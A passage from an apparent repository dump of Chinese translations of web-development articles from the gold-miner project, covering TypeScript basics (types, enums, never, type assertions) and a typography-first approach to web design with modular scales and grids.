开发越来越高的复杂性以及越来越强大的能力。\n\n『我们的行业和 JavaScript 的使用都发生了巨大的变化。』 Hejlsberg指出。『以前我们生活在一个同质的世界。所有人都使用 Windows 和浏览器，这就是你如何使用 JavaScript 的。现在世界已经变得非常多元化。有各种不同的设备 —— 手机和平板电脑，还在后端使用 node 运行 JavaScript。JavaScript 还挣脱了浏览器，通过使用 NativeScript、React Native 或是 Cordova 你已经可以使用 JavaScript 构建原生应用。』\n\n『是的，它变得更复杂，但也有着无限多的能力。』 Hejlsberg 谈到 JavaScript 时说道。『利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这一切的原因：你可以开发不同类型应用的多样性以及你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，也更强大了。』\n\n**TNS 分析员 [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) 为此份报告的撰写提供了帮助。**\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/typescript-javascript-with-super-powers.md",
    "content": "> * 原文地址：[TypeScript — JavaScript with superpowers](https://medium.freecodecamp.org/typescript-javascript-with-super-powers-a333b0fcabc9)\n> * 原文作者：[Indrek Lasn](https://medium.freecodecamp.org/@wesharehoodies?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/typescript-javascript-with-super-powers.md](https://github.com/xitu/gold-miner/blob/master/TODO/typescript-javascript-with-super-powers.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[moods445](https://github.com/moods445) [goldEli](https://github.com/goldEli)\n\n# TypeScript：拥有超能力的 JavaScript\n\n![](https://cdn-images-1.medium.com/max/800/1*aOhXVPhLT8tZLYQu62HcPA.png)\n\nJavasSript 很酷。但你知道什么更酷一点吗？TypeScript。\n\n#### 你能看出这段代码有什么问题吗？\n\n![](https://cdn-images-1.medium.com/max/600/1*IgMNDPa6Oq8De5f7Pvnmnw.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*TV6Dyfy3Bmul2JPC7eyKaQ.png)\n\nTypeScript (上) 对比 ES6 (下)\n\n**TypeScript 可以看出来。**看到那个红色的下划线了吗？这就是 TypeScript 给我们的错误提示。\n\n你可能已经发现了这个问题（干的漂亮） — `toUpperCase()` 是 String 的方法，我们将一个整型作为参数传递过去，显然不能在整型上调用 `toUpperCase()` 方法。\n\n我们通过声明 `nameToUpperCase()` 方法的参数只能为 `string` 类型来修复这个问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*N0xiNAjnnX3CijE82PpTjA.png)\n\n棒棒哒！现在我们不用自己去记 `nameToUpperCase()` 的参数类型必须为 `string`，我们可以信任 TypeScript 去记住它。想象下，如果有成千上万个参数类型需要我们记住。太疯狂了吧！\n\n还是有错误警告。为什么？因为我们还是传递了个整型参数！传递个 `string` 类型的参数就好了。\n\n![](https://cdn-images-1.medium.com/max/800/1*4JtcPUxZ7NPyf5gxhPqs2Q.png)\n\n注意 TypeScript 最终还是会被编译成 JavaScript (它只是 JavaScript 的一个超集，就像 C++ 和 C 的关系一样)。\n\n以上就是 TypeScript 和类型检查强大的原因。\n\n![](https://cdn-images-1.medium.com/max/800/1*AgAGlFdiYSiYKZLW9fNvuw.png)\n\nTypeScript 上个月（译注：2018年1月）有 **10,327,953** 的下载量。\n\n![](https://cdn-images-1.medium.com/max/1000/1*12nXNNgYHMLqWl7FWe4mwQ.png)\n\nTypeScript vs Flow 下载量对比\n\n让我们开始探索 TypeScript 的世界 — 在深入探究之前，先来了解下 TypeScript 究竟是什么以及为什么存在。\n\n[TypeScript 于 2012 年 10 月 1 日正式开源。](https://en.wikipedia.org/wiki/TypeScript) 由 Microsoft 开发维护，[C#](https://en.wikipedia.org/wiki/C_Sharp_%28programming_language%29) 的首席架构师 [Anders Hejlsberg](https://en.wikipedia.org/wiki/Anders_Hejlsberg) 带领他的团队参与了 TypeScript 的开发。\n\n[TypeScript](https://www.typescriptlang.org/) 在 GitHub 上完全开源，所以任何人都可以阅读它的 [源码](https://github.com/Microsoft/TypeScript) 并做出贡献。\n\n![](https://cdn-images-1.medium.com/max/800/1*4DNoN1QejqOlOFNft6teuw.png)\n\nTypeScript — JavaScript 的超集。\n\n### 如何开始\n\n实际上非常简单 — 我们只需要安装一个 NPM 包。打开你的终端，输入以下命令：\n\n```\n\nnpm i -g typescript && mkdir typescript && cd typescript && tsc --init\n```\n\n再设置下 TypeScript 的配置文件就可以了。\n\n![](https://cdn-images-1.medium.com/max/1000/1*0a1jcXX5gYTRnVCkgisYbQ.png)\n\n我们只需要创建一个 `.ts` 文件，并告诉 TypeScript 编译器监视文件变化。\n\n```\ntouch typescript.ts && tsc -w\n```\n\n**tsc **— TypeScript 编译器。\n\n#### 最后一步\n\n![](https://cdn-images-1.medium.com/max/1000/1*ervvuE5kcy2isO1zTDL_0w.png)\n\n太好了 — 现在你可以跟着我们的示例一起练习。\n\n我们在 `.ts` 文件中编写代码，编译后生成的 `.js` 文件是在浏览器中运行的代码。在这个例子中，我们不是用浏览器环境，我们使用 NodeJS 环境（所以 `.js` 是在 Node 环境中运行的）。\n\n![](https://cdn-images-1.medium.com/max/800/1*6VLCkqegvidS5dJm-e7zSA.png)\n\nJavaScript 有 7 种数据类型，其中 6 种是基础类型，剩下的被定义为 Object 类型。\n\n#### **JavaScript 基础类型如下：**\n\n*   **String**\n*   **Number**\n*   **Undefined**\n*   **Null**\n*   **Symbol**\n*   **Boolean**\n\n#### 剩下的都是 [**objects**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)\n\n*   [函数是头等对象](https://en.wikipedia.org/wiki/Function_object#In_JavaScript)\n*   [数组是特殊的对象](https://stackoverflow.com/a/5048482/5073961)\n*   [原型是对象](http://raganwald.com/2015/06/10/mixins.html)\n\n![](https://cdn-images-1.medium.com/max/800/1*9FeYC-4ZEsKAQ565pEdTqw.png)\n\nTypeScript 支持与 JavaScript 相同的基础类型，此外还提供了一些额外的类型。\n\n额外的类型是可选的，如果你不熟悉那些类型，你就可以不用。我发现使用 TypeScript 的好处就是：使用起来灵活方便。\n\n### 额外的类型如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*QlcVGtDb2FVJjkQRIh6gLQ.png)\n\n元组（tuple）就是组织好结构的数组，只是按照顺序定义好数组元素的类型\n\n![](https://cdn-images-1.medium.com/max/800/1*tF_IxeUVobcsA2BiBbConA.png)\n\n普通数组 vs 元组（组织好结构的数组）\n\n如果你不遵守元组定义好的规则，TypeScript 会给我们发出错误警告。\n\n![](https://cdn-images-1.medium.com/max/800/1*6LvBeYZZrPTaxNIBkzQKAQ.png)\n\n元组定义了第一个元素是 `number` 类型，但赋值时并不是 `number` 类型，而是一个值为 `\"Indrek\"` 的 `string` 类型，所以编译结果会报错。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*Bto4sAfIzfV3EIyYS04JmA.png)\n\n在 TypeScript 中，你需要定义函数返回值的类型。因为有很多没有 `return` 语句的函数。\n\n![](https://cdn-images-1.medium.com/max/800/1*AboEEgZSSq9YvI-Y6KLBgA.png)\n\n看一下我们是怎么声明参数和返回值类型的 — 它们的类型都是 `string`。\n\n如果我们没有返回任何值会怎么样？下面例子的函数体中只有一条 `console.log` 语句。\n\n![](https://cdn-images-1.medium.com/max/800/1*EI69g4tgKBUJYp6BZkignQ.png)\n\n我们可以看到，编译结果提示我们：“嘿，你**明确**表示我们必须返回一个 `string` 类型，但你实际上没返回任何值。我就是告诉你，你没有遵守我们的规则。”\n\n如果我们就是不想返回任何值该怎么办呢？比如我们的函数中有一个回调函数。在这种情况下就可以声明返回值的类型为`Void`。\n\n![](https://cdn-images-1.medium.com/max/800/1*JJdm0IAG6MOvVwKh-XUS-w.png)\n\n但有时候我们的函数确实有返回值，不管是隐式还是显式地，我们都不能将返回值的类型设置为 `Void`。\n\n![](https://cdn-images-1.medium.com/max/800/1*LYPDIzRpqPZtg03qMz_5SQ.png)\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*DHGUJYw9MdbnobyC1wf0Pg.png)\n\n`any` 类型非常简单，如果我们要为还不清楚类型的变量指定一个类型的话，就可以指定为 `any`\n\n比如下面的例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*aDKDyw7uN7cbA7QMjpm3GA.png)\n\n可以看到我给 `person` 变量多次赋值，每次使用的值的类型都不同。第一次是 `string` 类型，然后是 `number`，最后是 `boolean`。我们无法确定这个变量的类型。\n\n如果你使用第三方的库，你可能会不知道某些变量的类型。\n\n让我们声明一个数组，你把从某个 API 获取到的数据存储到这个数组中。数组中的数据是随机的。它不会只包括 `string`、`number`，也不像元组那样有组织好的结构。`any` 类型就可以解决这个问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*nDGWiVcZHWXRPT3NMqHeuQ.png)\n\n如果你知道数组的元素都是同一种类型，你可以使用下面的语法声明：\n\n![](https://cdn-images-1.medium.com/max/800/1*AT2v5vHOq9_kuraL2E2hnA.png)\n\n这篇文章的篇幅已经够长了，我们将在下一篇文章继续。我们还剩下 — `enum` — `never` — `null` — `undefined` 这些基础类型和类型断言需要讨论。\n\n如果你想深入学习，可以阅读 TypeScript 的 [官方文档](https://www.typescriptlang.org/docs/handbook/basic-types.html)\n\n由于好多人问我这篇文章中的图片使用的什么编辑器。我使用 **Visual Studio Code** 编辑器，配合 **Ayu Mirage** 主题和 **Source Code Pro** 字体。\n\n你可以在我的 Medium 上发现更多有趣的文章。\n\n- [**Indrek Lasn - Medium**: Read writing from Indrek Lasn on Medium. Merchant of happiness, founder @ https://vaulty.io, growth/engineering @… medium.com](https://medium.com/@wesharehoodies)\n\n也可以关注我的 twitter。❤\n\n- [**Indrek Lasn (@lasnindrek) | Twitter**: The latest Tweets from Indrek Lasn (@lasnindrek). business propositons: lasnindrek@gmail.com. Zurich, Switzerland twitter.com](https://twitter.com/lasnindrek)\n\n感谢阅读！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/typescript-javascript-with-superpowers-part-ii.md",
    "content": "> * 原文地址：[TypeScript — JavaScript with superpowers — Part II](https://medium.com/@wesharehoodies/typescript-javascript-with-superpowers-part-ii-69a6bd2c6842)\n> * 原文作者：[Indrek Lasn](https://medium.com/@wesharehoodies?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/typescript-javascript-with-superpowers-part-ii.md](https://github.com/xitu/gold-miner/blob/master/TODO/typescript-javascript-with-superpowers-part-ii.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[Usey95](https://github.com/Usey95) [anxsec](https://github.com/anxsec)\n\n# TypeScript：拥有超能力的 JavaScript（下）\n\n![](https://cdn-images-1.medium.com/max/800/1*ijxYcfk-rHyfAWLq6bPr1Q.png)\n\n**欢迎回来，继前文 [[译] TypeScript：拥有超能力的 JavaScript (上)](https://juejin.im/post/5aa89d5bf265da239a5f7f44) 之后，本周带来下篇。**\n\n![](https://cdn-images-1.medium.com/max/800/1*lrVNbYOEn_ni9NNRTY0r7w.png)\n\n使用枚举（enum）可以更清晰地组合一组数据。\n\n下面我们来看看如何构造一个枚举类型：\n\n![](https://cdn-images-1.medium.com/max/800/1*4qFIKpovAtDdkA0HkrqEVw.png)\n\n你可以通过下面的方法从枚举中取值：\n\n![](https://cdn-images-1.medium.com/max/800/1*KaoKC7ZCuXwLPR_1ntY9SQ.png)\n\n但这样返回的是这个值的整数索引，和数组一样，枚举类型的索引也是从 `0` 开始的。\n\n那我们怎么获取到 `\"Indrek\"` 呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*ymUuAzpdwzeMc3522yb0MA.png)\n\n注意看我们怎么获取到字符串的值。\n\n![](https://cdn-images-1.medium.com/max/800/1*XnRIFhuCMpJFp8CmVUnf3g.png)\n\n还有一个很好的例子是使用枚举存储应用的状态。\n\n![](https://cdn-images-1.medium.com/max/800/1*nOLoMIf6YLl0XbFoPWeHmw.png)\n\n如果你想了解更多关于枚举（enum）的知识，[stackoverflow 上的这个回答](https://stackoverflow.com/a/28818850/5073961) 探讨了更多关于枚举的细节。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*DKPVSnf7PVjrdDY_Fvz6EQ.png)\n\n假设我们请求某个 API，获取了一些数据。我们总是期望成功获取数据 — 但如果我们无法获取到数据会怎样呢？\n\n是时候返回 `never` 类型了，比如下面这种特殊使用场景：\n\n![](https://cdn-images-1.medium.com/max/800/1*lkfWaSP6G8YfqWjoFWqh4w.png)\n\n<center>注意我们传递的 message 参数</center>\n\n我们可以在另外的方法中调用 `error` 方法（回调）\n\n![](https://cdn-images-1.medium.com/max/800/1*oZ4Ya3w5ypd6BM3AeF1nRA.png)\n\n因为我们推断返回值的类型是 `never`，所以我们声明返回值的类型为 `never`，而不是 `void`。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*bgzesRZpes2KJYFRWRgFkw.png)\n\n*   **null** — 没有任何值。\n*   **undefined** — 变量被声明了，但没有赋值。\n\n它们本身的类型用处不是很大。\n\n![](https://cdn-images-1.medium.com/max/800/1*PwsNVPPzy7qav43uRHKBRg.png)\n\n默认情况下 `null` 和 `undefined` 是所有类型的子类型。就是说你可以把 `null` 和 `undefined` 赋值给 `number` 类型的变量。\n\n![](https://cdn-images-1.medium.com/max/800/1*q6FsoxR0Qou54lG040J2KQ.jpeg)\n\n[图片来自 stackoverflow](https://stackoverflow.com/a/44388246/5073961)\n\n关于 `null` 和 `undefined`，Axel Rauschmayer 博士写过 [一篇非常棒的文章](http://2ality.com/2013/04/quirk-undefined.html)。\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/800/1*x3Y773t23Pc1VlhYWXB0TQ.png)\n\n类型断言通常会发生在你清楚地知道一个实体具有比它现有类型更确切的类型。\n\n它在运行时没有影响，只会在编译阶段起作用。TypeScript 会假设你 — 程序员，已经进行了必要的检查。\n\n下面是一个简单示例：\n\n![](https://cdn-images-1.medium.com/max/800/1*LGa_fcmyWZSCzduOKqHgpw.png)\n\n尖括号 `<>` 语法与 [JSX](https://reactjs.org/docs/jsx-in-depth.html) 用法冲突，所以我们只能使用 `as` 语法进行断言。\n\n![](https://cdn-images-1.medium.com/max/800/1*GgrkjRVkPhwu7hHAacWwaQ.png)\n\n[关于类型断言的更多内容](https://basarat.gitbooks.io/typescript/docs/types/type-assertion.html)\n\n#### 一些更酷的东西\n\n*   [接口](https://basarat.gitbooks.io/typescript/docs/types/interfaces.html)\n*   [绝对类型](https://github.com/DefinitelyTyped/DefinitelyTyped)\n*   [联合类型](https://basarat.gitbooks.io/typescript/docs/types/discriminated-unions.html)\n*   [类](https://www.typescriptlang.org/docs/handbook/classes.html)\n*   [一些很棒的 TypeScript 项目](https://github.com/dzharii/awesome-typescript)\n\n现在 — 用 TypeScript 来构造些有趣的东西吧！📙\n\n感谢阅读，希望你有所收获！\n\n你可以关注我的 [Twitter](https://twitter.com/lasnindrek)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/typography-as-base-from-the-content-out.md",
    "content": "> * 原文地址：[Typography as Base: From the Content Out](https://medium.com/subvisual/typography-as-base-from-the-content-out-c59fe7bfb633)\n> * 原文作者：[Francisco Baila](https://medium.com/@fcBaila)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[osirism (Olivia)](https://github.com/osirism), [laiyun90 (Lai)](https://github.com/laiyun90)\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*1Km4fqgsA1Qod5grVqAECQ.png)\n\n照片来自 [Raphael Schaller](https://unsplash.com/@raphaelphotoch)\n\n# 以排印为本，从内容出发\n\n**首发于 [Subvisual 的 blog](https://subvisual.co/blog/posts/138-typography-as-base-from-the-content-out)**。本文的起因是为了寻找一种在设计任何 web 项目时都能依赖的结构。\n\n### 0. 从随机选择开始\n\n在开始研究之前，我的架构非常幼稚。开始新项目的第一步就是用随机选择的字体和页边距画框框和文本块。当然也不是完全随机啦，不过也没有深入的思考。如果定一个页边距，我会从 20px 开始尝试，如果要一个大一点的，就加倍，所以最后所有的页边距都是 20px，40px 和 80px 之类的。选择字体和字号也是同样的思路。字体永远是从 16px 或 18px 开始试起，每次加 4px。最后字体也总是 16px，20px 和 24px 等等。\n\n我入门设计这一行最开始是做平面设计。我在大学制作了很久的海报、书籍和杂志。要完成这些活计我总得事无巨细地搞定选字体、字号、页边距、网格等等的全部流程。好在有个出色的老师指导我。我喜欢做平面设计，现在也喜欢，但是 web 召唤了我，所以我转而做 web 了，搞了几个大项目之后终于算是迈出了重要的第一步。我发现自己在问，为什么没有用之前搞书籍和杂志的流程来做网站和产品。\n\n我对目前在搞的项目都还挺满意的，但是总觉的少了些什么。可能是少了些匠心。在 Subvisual，我们关注流程，而且一直寻求改进之道。关键在于大多数流程关注的重点都是用户体验，这正是我们看中的。不过没有好的用户界面（UI）哪有好的用户体验（UX）。我并不是说我们的 UI 很糟糕。实际上我觉得 UI 非常不错，只是少了些许匠心。我们正为此努力。我求知欲旺盛，个性又倔强，正在想办法解决这个问题。\n\n我开始上网搜素并阅读了很多有意思的东西。我找到了一些极好的文章，尤其是[Zac Halbert 的这篇文章](https://medium.com/tradecraft-traction/harmonious-typography-and-grids-10da490a17d)，直接促使我写了现在这篇文章，还让我形成了工作中一直在用的准则（formula）。我还询问了一些从事平面设计的朋友，想看看他们现在的工作方式，由此收获了一些对我的研究帮助极大的书籍。\n\n### 我们的项目 ──[TurnGram](https://www.turngram.com/)\n\n下面我就带你了解以排版为基础来引导项目的过程。我们从艺术目标开始，到字体排版的缩放(typography scale)结束。我们的项目是 TurnGram，一个定期将自己的照片寄给所爱的人的服务，非常省事。设计冲刺已结束，原型完成并通过了测试，第一版即将面市。\n\n![](https://cdn-images-1.medium.com/max/800/1*_9cuEOL2vOdCBeNQ4JwYag@2x.png)\n\n### 1. 艺术方向\n\n从这个项目的美术设计或者说艺术方向开始谈起。这时要考虑定下项目的基调，也就是想传达给看浏览我们网站的人的感觉。花点时间仔细阅读项目素材，最好能看看其中的图像。我们想通过内容来了解项目的气质，然后写下想到的词：**「温馨、亲密和怀旧」**。\n\n### 2. 分级结构\n\n每个结构都需要层级。应该利用读过的项目内容来定下项目层级。决定什么是文本块，什么是大标题，什么是二级标题，诸如此类。记下来，给每种内容都找一些例子。\n\n1. **H1** ── TurnGrams 中最惹人爱的部分；\n2. **H2** ── 收件人姓名和使用指引；\n3. **H3** ── 面向海外用户和邮箱吗？；\n4. **文本块** ── 我想每月给妈妈（Maria Eastman）寄一些家庭照片。她喜欢把照片摆满房间，把孙子的近照拿给客人看。所以务必在照片选集中尽量多加些孩子的照片。；\n5. **按钮** ── 现在开始；\n\n### 3. 字体选择\n\n如果没有更多可以覆盖的用例，就是时候做最重要的样式决策了。下面就来选取会用到的字体。\n\n从现在起，我们的每一个决策都要考虑可读性和可识别性[^1]。正如维基百科所描述的，可读性是指读者可以轻松读懂书面文字，可识别性是指读者可以清晰地分辨出文本中的每一个字符。接下来的博文我都致力于这两点。\n\n在产品的早期就选定字体会改变你稍后做决策的方式。推荐阅读 Robert Bringhurst 的 [“The Elements of Typographic Style”](https://www.goodreads.com/book/show/44735.The_Elements_of_Typographic_Style)，在选择、结合字体时给予我很大帮助。很多设计师也把它视为字体排印圣经。\n\n![](https://cdn-images-1.medium.com/max/800/1*Zxuu_UecxZmRbf3t-dGoMw@2x.png)\n\nRobert Bringhurst 给出的前两个建议是「**考虑字体最初是为什么媒介设计的**」以及「**当使用活版印刷体的电子改版时，选择字体要形神兼备**」。确保你采用的字体是为屏幕显示设计的，如果不是，则要检查字重和比例是否合适。\n\n「**选择在最终打印出来条件下能存续下来的字体，最好是发展比较好的**。」根据这则建议，我们必须牢记选用的字体会被渲染到什么字号，这事关可识别性。在选择字体之前，看一下样本，了解其最优的渲染字号。我们的例子有很多长文本块，所以我们的目标字体的基础字号是 20px。举个例子，如果你在设计博文页面，你会想要使用基础字号在 20px 到 24px 之间，x 高（小写字母高度）合理的字体。这是我经常应用到我的工作中的一条规则，但是和所有规则一样，如果我们觉得可以采用其他方式，规则也可以打破。\n\n「**选择同时适合任务和主题的字体**。」我们项目的气质是温馨、亲密和怀旧，所以我们应该选择能够相称的字体。\n\n「**选择可以提供你想要的特殊效果的字体**。」如果你的内容中含有带有大量数字的文本，举个例子，你就想要一个仔细打磨了不齐线数字[^2]的字体。同理，如果想要强调，可以使用斜体、黑体甚至小型大写字母。\n\n「**先尝试只用一套字型家族**。」我们看到有很多项目使用了两套字型家族，其实一套就足够了。我们应该充分利用字体提供的资源，无法满足时才去诉诸新的字体。\n\n总结一下，选择字体时应该铭记的准则有：\n\n1. 确保字体是为在屏幕上呈现而设计的；\n2. 字号为 20px 时看上去不错；\n3. 字体要利于显示长文本，能够体现温馨、亲密和怀旧的特质；\n4. 了解你的内容是否需要「**特殊效果**」\n5. 充分利用字体资源。\n\n在做出决定前，保证你使用自己的内容中选取的例子做了很多测试。判断一个字体是否选对了的最重要的手段就是阅读用这个字体呈现的内容。我会选择 [Tisa Pro](https://www.fontfont.com/fonts/tisa)，一个有多重字重的衬线字体。它在 20px 时看上去不错；显示长文本出色；而且因为手工的笔画所以有温馨亲密的感觉。我不认为 Tisa Pro 有怀旧的感觉，但是不是所有一切都仰仗字体来呈现，还可以尝试图像，图案，颜色等等。我检查过了，Tisa 在我们所有内容上都看上去好极了，所以我们可以开始设计了。\n\n![](https://cdn-images-1.medium.com/max/800/1*kmKqR2X5EWPXm1_uZbdtfg.png)\n\n差不多准备好了。我们这里还可以尝试品牌推广用的字体。如果你在开发产品的网站已经有完成了的品牌推广项目，你应该尝试使用它的字体，或者至少是和它在放在一起会比较和谐的字体。不过有时你可能不喜欢品牌字体，这样也没问题。我们就常常遇到这种情况，所以我们就换了一个方向。尽管坚持一种字体是个好习惯，我们觉得有使用别的字体的需求，因为我们需要额外的一层对比。\n\n我们决定使用 [Effra](https://www.daltonmaag.com/library/effra)。\n\n![](https://cdn-images-1.medium.com/max/800/1*5OUVDBgQb9yxp-gLB4Q0kA.png)\n\n### 3.1. 字体配对\n\n在协调两种字体时，我们需要对比效果，同时有一些勾连的细节。首先，Tisa 是衬线字体而 Effra 是无衬线字体，这就是很好的对比。它们有近似的 x 高，这样我们就省去创建两套比例的麻烦，稍后我们还会细谈。Effra 结合了几何基础和人本主义细节，和 Tisa 既有对比效果又有关联的细节。\n\n### 4. 尺寸\n\n上一步我们讲过的几个关键点在这一步会很有用。我之前说过，要选择字体必须知道字体的职能所在。我们知道我们的网站有些长文本块，而且 20px 的尺寸正合适，这就是我们的基准字号。\n\n有了基准字号就可以定下基础行高（line-height）。行高是字号加上行距（leading）。行距是文本行的间距。如果想让读者快点读完或者需要节省空间，可以减少行距，就像图书和报纸做得那样。如果需要想提高阅读体验可以加大行距。\n\n既然我们需要更多数据，我们得有一个比例尺来支撑背后的逻辑。\n\n> **通过使用文化相关，在历史上令人愉悦的比率来创建模块尺度（modular scale），然后以此定下我们作品中的度量。我们就可以达到视觉上的和谐，这种和谐是无法通过随意的，常规的或者简单除法得到的数字实现的**。\n\n> ***Tim Brown***\n\n所以我们从 20px 基准字号开始，我们的诉求是舒适的阅读。推荐一下我找到的一个很有用的工具网站，可以省很多时间，Tim Brown 的 [modularscale.com](http://www.modularscale.com/)。输入基准和比率，网站就会帮你算好一切。以我们的网站为例，我们要的效果是舒缓的阅读，所以我们选的比率是增四度（1,414) `20 * 1,414 = 28.28`。四舍五入之后，我们的基准行高就是 28px。下面还有一些模块比例的例子：\n\n1. **小三度（1,2)** `20 * 1,2 = 24` ── 快速阅读并节省大量空间；\n2. **纯四度(1,333)** `20 * 1,333 = 26,66` ── 相当的阅读速度并节省一定空间；\n3. **纯五度(1,5)** `20 * 1,5 = 30` ── 非常舒适的阅读速度；\n4. **黄金分割 (1,618)** `20 * 1,618 = 32,36` ── 超级轻松的阅读速度。\n\n![](https://cdn-images-1.medium.com/max/800/1*jsEcmLicghI-G6mHfzp8IA@2x.png)\n\n### 4.1. 模块尺度\n\n比例无处不在，在分子，花朵甚至人体中都可以观察到。这就是为什么模块尺度比随机选择的数字更协调的原因。如果我们看到一些东西的比例和我们人体的比例一样，就会显得特别协调。\n\n> **「很简单，不是吗？而且核心思想非常基础。但是奇怪的是，非常容易既低估其可能的影响力又高估其复杂度（至少你一旦开始深挖就会有此感受）。**\n\n> ***Billy Whited***\n\n它们最早是表示音程的术语，在随后的历史中，建筑师，画家，音乐家，木匠等人都采用过相关的概念。所以我们为什么不试一试呢？\n\n### 4.2. 印刷尺度\n\n模块尺度会带来视觉上的和谐，充满韵律。跟音乐一样，我们的网站和产品需要讲得通的流畅。\n\n我们已经选好比例，下面就是使用了，生成自己的印刷尺度。还记得我们在第二步中定下的分级结构吗？现在来转成数字。\n\n1. **H1** ── `28,28 * 1,414 = 39,988` ~ 40px\n2. **H2** ── `20 * 1,414 = 28,28` ~ 28px\n3. **H3** ── 20px (加粗)\n4. **文本块** ── 20px (基准)\n5. **标题** ── `20 / 1,414 = 14,144` ~ 14px (大写，加粗）\n\n我先从基准开始，然后依据模块尺度给出的数字，同时内心牢记分级结构。对于按钮和标注，我们会用 14px，因为可以用大写字母，所以不会影响可识别性。当你做决策时，一定要做好测试，不要盲目追求比例。有可能到头来发现比例根本不适合你的项目。这种情况下就要返工再尝试新的比例了。我稍后再谈行高的设定，到时候你就懂了。\n\n### 5. 水平网格\n\n可以开始处理网格了。有两个视角审视网格，水平的和垂直的。先从水平网格说起，因为更常见。网格非常迷人，推荐大家阅读一下 Josef Müller-Brockmann 著的[《平面设计中的网格系统》](https://book.douban.com/subject/26806997/ \"平面设计中的网格系统\")。\n\n![](https://cdn-images-1.medium.com/max/800/1*jEoCIfJRUuf-sFxYsujLFA@2x.png)\n\n网格可以处理视觉组织的问题。有了网格的帮助，组织文本，图像以及我们内容的其他元素都变得轻松。正如 Josef 在书中所言，只有想好了要用哪些文本和图像之后才能想清楚网格。内容自身来决定网格的大小。\n\n我们已经有一个尺寸了，列间距。列间距应该和基准行高一致，28px，因为这会是最常用的页边距。\n\n![](https://cdn-images-1.medium.com/max/800/1*WV2zckqjC_SzSYi1URrQbA@2x.png)\n\n文本行应该平均有十个单词，这就是我们的列宽。我们从内容中选几个片段，置为 20px/28px，然后将宽度设为我们选的比例。\n\n![](https://cdn-images-1.medium.com/max/800/1*8VUz_kl9zv6tOh79N4AiYA.png)\n\n452px 比较合适。文本行过长或过短都不好。不然阅读容易劳累，影响可读性。\n\n![](ttps://cdn-images-1.medium.com/max/800/1*00f1sulKiGpeahauhNpiAA@2x.png)\n\n我们从 1440px 的宽度开始试起，这是我们想在项目上用的最大宽度。在 1440px 的宽度下，可以有三个 452px 的列，列间距则是 28px。这样我们的网格的总宽度实际就是 1412px。\n\n![](https://cdn-images-1.medium.com/max/800/1*phsnJa9NzCW7RRRN6Yd10Q@2x.png)\n\n接下来根据 Josef 的建议，如果有更多列，就可以更灵活更有创造力。所以不妨试试将现有的列一分为二？`452(现在的列宽) - 28(列间距) = 424; 424 / 2 = 212px(新列宽)`。这样网格大小不变，变成 6 列，文本块就可以多两个列和一个列间距可以占据。\n\n![](https://cdn-images-1.medium.com/max/800/1*4puYPozvbj97-Ol32w-dUQ@2x.png)\n\n列数取决于你想给内容多大的动态程度。\n\n![](https://cdn-images-1.medium.com/max/800/1*aIj-zCoeroxWU1ZSVLfXHA@2x.png)\n\n### 